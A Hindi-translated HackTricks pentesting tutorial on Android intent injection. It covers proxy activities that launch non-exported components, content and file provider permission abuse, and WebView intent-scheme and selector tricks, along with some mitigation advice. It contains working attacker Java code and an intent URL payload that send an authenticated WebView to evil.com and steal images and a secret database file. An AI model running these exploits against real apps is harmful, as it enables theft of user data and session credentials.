hacktricks/mobile-pentesting/android-app-pentesting/intent-injection.md
Translator workflow 75e8745ba3 Translated to Hindi
2023-11-06 08:38:02 +00:00

28 KiB

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
  • क्या आप किसी साइबर सुरक्षा कंपनी में काम करते हैं? क्या आप अपनी कंपनी को HackTricks में विज्ञापित देखना चाहते हैं? या क्या आपको PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग करने की आवश्यकता है? SUBSCRIPTION PLANS की जांच करें!

  • खोजें The PEASS Family, हमारा विशेष संग्रह NFTs

  • प्राप्त करें आधिकारिक PEASS & HackTricks swag

  • शामिल हों 💬 Discord समूह या telegram समूह या मुझे Twitter पर फ़ॉलो करें 🐦@carlospolopm.

  • अपने हैकिंग ट्रिक्स साझा करें, hacktricks repo और hacktricks-cloud repo में PR जमा करके।

यहां से लिया गया अनुसंधान https://blog.oversecured.com/Android-Access-to-app-protected-components/

परिचय

यह सुरक्षा के वेब में ओपन रीडायरेक्ट की तरह होती है। क्योंकि Intent कक्षा Parcelable होती है, इस कक्षा के ऑब्जेक्ट को एक अन्य Intent ऑब्जेक्ट में अतिरिक्त डेटा के रूप में पास किया जा सकता है।
बहुत से डेवलपर्स इस सुविधा का उपयोग करते हैं और प्रॉक्सी कंपोनेंट्स (गतिविधियाँ, ब्रॉडकास्ट रिसीवर और सेवाएं) बनाते हैं जो एक एम्बेडेड Intent लेते हैं और इसे खतरनाक विधियों में पास करते हैं जैसे कि startActivity(...), sendBroadcast(...) आदि।
यह खतरनाक है क्योंकि एक हमलावर ऐप को ऐसे अन्य ऐप से सीधे लॉन्च नहीं किया जा सकने वाले गैर-निर्यातित कंपोनेंट को लॉन्च करने के लिए मजबूर कर सकता है, या उसे अपने सामग्री प्रदाताओं तक पहुंच दे सकता है। WebView भी कभी-कभी एक स्ट्रिंग से Intent ऑब्जेक्ट में URL को बदल देता है, Intent.parseUri(...) विधि का उपयोग करके, और इसे startActivity(...) को पास करता है।

{% hint style="info" %} सारांश के रूप में: यदि एक हमलावर एक ऐसा Intent भेज सकता है जो असुरक्षित रूप से निष्पादित हो रहा है, तो उसे संभावित रूप से निर्यातित कंपोनेंटों तक पहुंच मिल सकती है और उनका दुरुपयोग कर सकता है। {% endhint %}

एक सामान्य मामला

चलो एक उदाहरण की जांच करते हैं। AndroidManifest.xml फ़ाइल का टुकड़ा

<activity android:name=".ProxyActivity" android:exported="true" />
<activity android:name=".AuthWebViewActivity" android:exported="false" />

गतिविधि ProxyActivity

startActivity((Intent) getIntent().getParcelableExtra("extra_intent"));

गतिविधि AuthWebViewActivity

webView.loadUrl(getIntent().getStringExtra("url"), getAuthHeaders());

AuthWebViewActivity एक उदाहरण है छिपी हुई ऐप की कार्यान्वयन क्षमता की जो कुछ असुरक्षित कार्रवाई करती है, इस मामले में उपयोगकर्ता की प्रमाणीकरण सत्र को url पैरामीटर से प्राप्त किए गए URL पर पास करना।

निर्यात प्रतिबंध के कारण हमलावर AuthWebViewActivity तक सीधे पहुंच नहीं पा सकता। एक सीधी कॉल

Intent intent = new Intent();
intent.setClassName("com.victim", "com.victim.AuthWebViewActivity");
intent.putExtra("url", "http://evil.com/");
startActivity(intent);

एक java.lang.SecurityException फेंकता है, Permission Denial के कारण: AuthWebViewActivity uid 1337 से निर्यात नहीं किया गया।

लेकिन हमलावर विक्टिम को मजबूर कर सकता है AuthWebViewActivity खुद को लॉन्च करने के लिए:

Intent extra = new Intent();
extra.setClassName("com.victim", "com.victim.AuthWebViewActivity");
extra.putExtra("url", "http://evil.com/");

Intent intent = new Intent();
intent.setClassName("com.victim", "com.victim.ProxyActivity");
intent.putExtra("extra_intent", extra);
startActivity(intent);

और कोई सुरक्षा उल्लंघन उत्पन्न नहीं होगा, क्योंकि उस ऐप के पास जो हमले के तहत है, वह अपने सभी घटकों तक पहुंच रखता है। इस कोड टुकड़े का उपयोग करके हमलावार अप्प को एंड्रॉइड सिस्टम की निर्मित प्रतिबंधों को दूर कर सकते हैं।

प्रभाव का विस्तार

इस दुर्बलता के प्रभाव को विस्तारित करने के लिए, आपको ऐसी अन्य दुर्बलताओं / गलतियों का पता लगाना होगा जो दुर्बलता के प्रभाव को बढ़ा सकती हैं (क्योंकि दुर्बलता अपने आप में कोई जोखिम नहीं बना रही है)।

सामग्री प्रदाताओं के माध्यम से हमलों का विस्तार

मूल ऐप के विषमताओं के अलावा, हमलावर व्यक्ति को विषमताओं के सामग्री प्रदाताओं के पहुंच को प्राप्त करने का प्रयास कर सकता है जो निम्नलिखित शर्तों को पूरा करते हैं:

  • यह निर्यात नहीं होना चाहिए (अन्यथा इसे बिना इस लेख में चर्चा की जा रही दुर्बलता का उपयोग किए बिना सीधे हमला किया जा सकता है)
  • इसे android:grantUriPermissions फ़्लैग को true पर सेट किया जाना चाहिए।
  • android:grantUriPermissions="true" इसका अर्थ है कि आपका जावा कोड FLAG_GRANT_READ_URI_PERMISSION और FLAG_GRANT_WRITE_URI_PERMISSION का उपयोग कर सकता है उस ContentProvider द्वारा प्रदान की जाने वाली किसी भी Uri के लिए
  • android:grantUriPermissions="false" इसका अर्थ है कि केवल उन Uri मानों का उपयोग FLAG_GRANT_READ_URI_PERMISSION और FLAG_GRANT_WRITE_URI_PERMISSION के साथ किया जा सकता है जिन्हें बच्चा <grant-uri-permission> तत्वों द्वारा निर्दिष्ट किया गया है।

हमलावर को एक संबद्ध इंटेंट के प्राप्तकर्ता के रूप में सेट करना होगा और निम्नलिखित फ़्लैग सेट करना होगा

  • Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION प्रदाता के लिए स्थायी पहुंच की अनुमति देता है (इस फ़्लैग के बिना, पहुंच केवल एक बार होती है)
  • Intent.FLAG_GRANT_PREFIX_URI_PERMISSION प्रिफ़िक्स द्वारा URI पहुंच की अनुमति देता है - उदाहरण के लिए, एक पूर्ण पथ का उपयोग करके अलग-अलग पहुंच प्राप्त करने की बजाय content://com.victim.provider/image/1 जैसे पूर्ण पथ का उपयोग करके हमलावर सभी प्रदाता की सामग्री का उपयोग कर सकता है और फिर ContentResolver का उपयोग करके content://com.victim.provider/image/1, content://com.victim.provider/image/2 आदि को पता कर सकता है।
  • Intent.FLAG_GRANT_READ_URI_PERMISSION प्रदाता पर पढ़ने के लिए अनुमति देता है (जैसे query, openFile, openAssetFile आदि)
  • Intent.FLAG_GRANT_WRITE_URI_PERMISSION लिखने के लिए अनुमति देता है

एक आम प्रदाता का उदाहरण जहां हमलावर इसे प्राप्त कर सकता है और query, update, insert, delete, openFile, openAssetFile जैसे नियमित आपरेशन कर सकता है।

<provider android:name="com.victim.ContentProvider" android:exported="false" android:authorities="com.victim.provider" android:grantUriPermissions="true"/>

उपयोगकर्ता चित्रों की चोरी का उदाहरण AndroidManifest.xml फ़ाइल का है।

<activity android:name=".LeakActivity" android:exported="true" />

MainActivity.java फ़ाइल

Intent extra = new Intent();
extra.setFlags(Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION
| Intent.FLAG_GRANT_PREFIX_URI_PERMISSION
| Intent.FLAG_GRANT_READ_URI_PERMISSION
| Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
extra.setClassName(getPackageName(), "com.attacker.LeakActivity");
extra.setData(Uri.parse("content://com.victim.provider/"));

Intent intent = new Intent();
intent.setClassName("com.victim", "com.victim.ProxyActivity");
intent.putExtra("extra_intent", extra);
startActivity(intent);

LeakActivity.java

Uri uri = Uri.parse(getIntent().getDataString() + "image/1")); // content://com.victim.provider/image/1
Bitmap bitmap = BitmapFactory.decodeStream(getContentResolver().openInputStream(uri)); // stolen image

Android फ़ाइल प्रदाता पर हमले

यह सुरक्षा कमजोरी भी है जो हमलावर को यह संभव बनाती है कि वह ऐप फ़ाइलें चुरा ले जो डेवलपर द्वारा निर्धारित निर्देशिकाओं में स्थित होती हैं। सफल हमले के लिए, दुष्ट ऐप को Android फ़ाइल प्रदाता के एक्सेस अधिकार प्राप्त करने की आवश्यकता होती है और फिर Android ContentResolver का उपयोग करके फ़ाइल प्रदाता से सामग्री पढ़ने की आवश्यकता होती है।

उदाहरण फ़ाइल प्रदाता (अधिक विवरण के लिए देखें https://developer.android.com/reference/android/support/v4/content/FileProvider)

<provider android:name="androidx.core.content.FileProvider" android:exported="false" android:authorities="com.victim.files_provider" android:grantUriPermissions="true">
<meta-data android:name="android.support.FILE_PROVIDER_PATHS" android:resource="@xml/provider_paths"/>
</provider>

यह ऐप संसाधनों में पाए जाने वाली एक विशेष सूची में स्थित फ़ाइलों के लिए पढ़ने/लिखने का पहुंच प्रदान करता है, इस मामले में res/xml/provider_paths.xml पर पाया जा सकता है।

यह कुछ इस तरह दिख सकता है

<?xml version="1.0" encoding="utf-8"?>
<paths>
<root-path name="root" path=""/>
<files-path name="internal_files" path="."/>
<cache-path name="cache" path=""/>
<external-path name="external_files" path="images"/>
</paths>

प्रत्येक टैग एक रूट निर्देशिका को एक path मान के साथ निर्दिष्ट करता है जो रूट के संबंध में होता है। उदाहरण के लिए, मान external_files को new File(Environment.getExternalStorageDirectory(), "images") से संबंधित होगा।

मान root-path को / के समान होता है, अर्थात् यह विचारहरू फ़ाइलों तक पहुंच प्रदान करता है।

चलो मान लो कि हमारे पास फ़ाइल /data/data/com.victim/databases/secret.db में कुछ गुप्त डेटा संग्रहीत है: इस फ़ाइल की चोरी कुछ इस तरह दिख सकती है MainActivity.java

Intent extra = new Intent();
extra.setFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);
extra.setClassName(getPackageName(), "com.attacker.LeakActivity");
extra.setData(Uri.parse("content://com.victim.files_provider/root/data/data/com.victim/databases/secret.db"));

Intent intent = new Intent();
intent.setClassName("com.victim", "com.victim.ProxyActivity");
intent.putExtra("extra_intent", extra);
startActivity(intent);

LeakActivity.java

InputStream i = getContentResolver().openInputStream(getIntent().getData()); // we can now do whatever we like with this stream, e.g. send it to a remote server

WebView के माध्यम से अनियमित कॉम्पोनेंट्स तक पहुंच

एक Intent ऑब्जेक्ट को Intent.toUri(flags) के द्वारा एक स्ट्रिंग में कास्ट किया जा सकता है और स्ट्रिंग से एक Intent में वापस किया जा सकता है Intent.parseUri(stringUri, flags) का उपयोग करके। यह फंक्शनालिटी अक्सर WebView (ऐप के अंदर बने ब्राउज़र) में उपयोग की जाती है: ऐप intent:// स्कीम को सत्यापित कर सकता है, URL को Intent में पार्स कर सकता है और एक्टिविटी को लॉन्च कर सकता है

यह सुरक्षा कमजोरी दूसरी सुरक्षा कमजोरियों (उदाहरण के लिए, क्लाइंट ऐप में अनियमित लिंक को WebView में सीधे निर्यात किए गए गतिविधियों के माध्यम से खोलने की क्षमता या डीपलिंक मेकेनिज़्म के माध्यम से) और दूरस्थ रूप से, सर्वर साइड पर क्रॉस-साइट स्क्रिप्टिंग या क्लाइंट साइड पर MitM के माध्यम से उपयोग किया जा सकता है।

विकल्पित कोड का उदाहरण

public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) {
Uri uri = request.getUrl();
if("intent".equals(uri.getScheme())) {
startActivity(Intent.parseUri(uri.toString(), Intent.URI_INTENT_SCHEME));
return true;
}
return super.shouldOverrideUrlLoading(view, request);
}

यहाँ बात यह है कि WebViewClient की कक्षा की shouldOverrideUrlLoading(...) विधि हर बार WebView एक नया लिंक लोड करने का प्रयास करता है, लेकिन ऐप्लिकेशन को एक कस्टम हैंडलर जोड़ने का विकल्प देता है।

इस सुरक्षा की कमजोरी का शोषण करने के लिए हमलावार को एक WebView पुनर्निर्देशित करने की आवश्यकता होती है जो विशेष रूप से तैयार किए गए intent-scheme URL पर पुनर्निर्देशित होता है। URL निर्माण का उदाहरण

Intent intent = new Intent();
intent.setClassName("com.victim", "com.victim.AuthWebViewActivity");
intent.putExtra("url", "http://evil.com/");
Log.d("evil", intent.toUri(Intent.URI_INTENT_SCHEME)); // outputs "intent:#Intent;component=com.victim/.AuthWebViewActivity;S.url=http%3A%2F%2Fevil.com%2F;end"

उदाहरण हमला

location.href = "intent:#Intent;component=com.victim/.AuthWebViewActivity;S.url=http%3A%2F%2Fevil.com%2F;end";

यह संस्करण विकुलनियता के क्लासिक संस्करण की तुलना में कई प्रतिबंध हैं:

  • एम्बेडेड Parcelable और Serializable ऑब्जेक्ट्स को स्ट्रिंग में कास्ट नहीं किया जा सकता है (उन्हें अनदेखा कर दिया जाएगा)
  • Intent.parseUri(...) को कॉल करते समय असुरक्षित फ्लैग Intent.FLAG_GRANT_READ_URI_PERMISSION और Intent.FLAG_GRANT_WRITE_URI_PERMISSION को अनदेखा किया जाता है। पार्सर केवल उन्हें छोड़ देगा अगर Intent.URI_ALLOW_UNSAFE (startActivity(Intent.parseUri(url, Intent.URI_INTENT_SCHEME | Intent.URI_ALLOW_UNSAFE)) फ्लैग सेट होता है, जो बहुत ही दुर्लभ है।

बहुत सारे डेवलपर अभी भी WebView के माध्यम से प्राप्त होने वाले इंटेंट्स के पूरे फ़िल्टरिंग को भूल जाते हैं।

public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) {
Uri uri = request.getUrl();
if("intent".equals(uri.getScheme())) {
Intent intent = Intent.parseUri(uri.toString(), Intent.URI_INTENT_SCHEME);
intent.addCategory("android.intent.category.BROWSABLE");
intent.setComponent(null);
startActivity(intent);
return true;
}
return super.shouldOverrideUrlLoading(view, request);
}

अटैकर एक सेलेक्टर के माध्यम से एक गैर-निर्यातित कॉम्पोनेंट निर्दिष्ट कर सकता है।

Intent intent = new Intent();
intent.setSelector(new Intent().setClassName("com.victim", "com.victim.AuthWebViewActivity"));
intent.putExtra("url", "http://evil.com/");
Log.d("evil", intent.toUri(Intent.URI_INTENT_SCHEME)); // "intent:#Intent;S.url=http%3A%2F%2Fevil.com%2F;SEL;component=com.victim/.AuthWebViewActivity;end"

और ऐप के स्पष्ट इंटेंट के खिलाफ सुरक्षा को छोड़ दें। हम इसलिए सलाह देते हैं कि आप सेलेक्टर को भी फ़िल्टर करें।

intent.addCategory("android.intent.category.BROWSABLE");
intent.setComponent(null);
intent.setSelector(null);

लेकिन पूर्ण फ़िल्टरिंग भी पूर्ण सुरक्षा की गारंटी नहीं देती है, क्योंकि हमलावर किसी गैर-निर्यातित गतिविधि के intent-filter के लिए एक निहित इंटेंट बना सकता है। एक गतिविधि घोषणा का उदाहरण:

<activity android:name=".AuthWebViewActivity" android:exported="false">
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<data android:scheme="victim" android:host="secure_handler" />
</intent-filter>
</activity>
webView.loadUrl(getIntent().getData().getQueryParameter("url"), getAuthHeaders());

इसलिए, हम सिफारिश करते हैं कि एक एक्टिविटी को शुरू किया जाने से पहले यह जांचें कि क्या वह निर्यात किया जा रहा है।

असुरक्षित इंटेंट बनाने के अन्य तरीके

कुछ ऐप डेवलपर अपने खुद के इंटेंट पार्सर को लागू करते हैं (अक्सर डीपलिंक्स या पुश संदेशों को हैंडल करने के लिए), जिसमें वे डिफ़ॉल्ट से अलग नहीं होते हैं या फिर बड़ा खतरा प्रस्तुत करते हैं, क्योंकि वे Serializable और Parcelable ऑब्जेक्ट का विस्तार कर सकते हैं और वे असुरक्षित फ्लैग सेट करने की अनुमति भी देते हैं। सुरक्षा शोधकर्ता को इंटेंट निर्माण के और भी अनोखे संस्करणों का सामना करना पड़ सकता है, जैसे कि एक बाइट एरे को Parcel में कास्ट करना और फिर से उससे इंटेंट पढ़ना।

Uri deeplinkUri = getIntent().getData();
if(deeplinkUri.toString().startsWith("deeplink://handle/")) {
byte[] handle = Base64.decode(deeplinkUri.getQueryParameter("param"), 0);
Parcel parcel = Parcel.obtain();
parcel.unmarshall(handle, 0, handle.length);
startActivity((Intent) parcel.readParcelable(getClassLoader()));
}

Vuln app

{% embed url="https://github.com/oversecured/ovaa" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥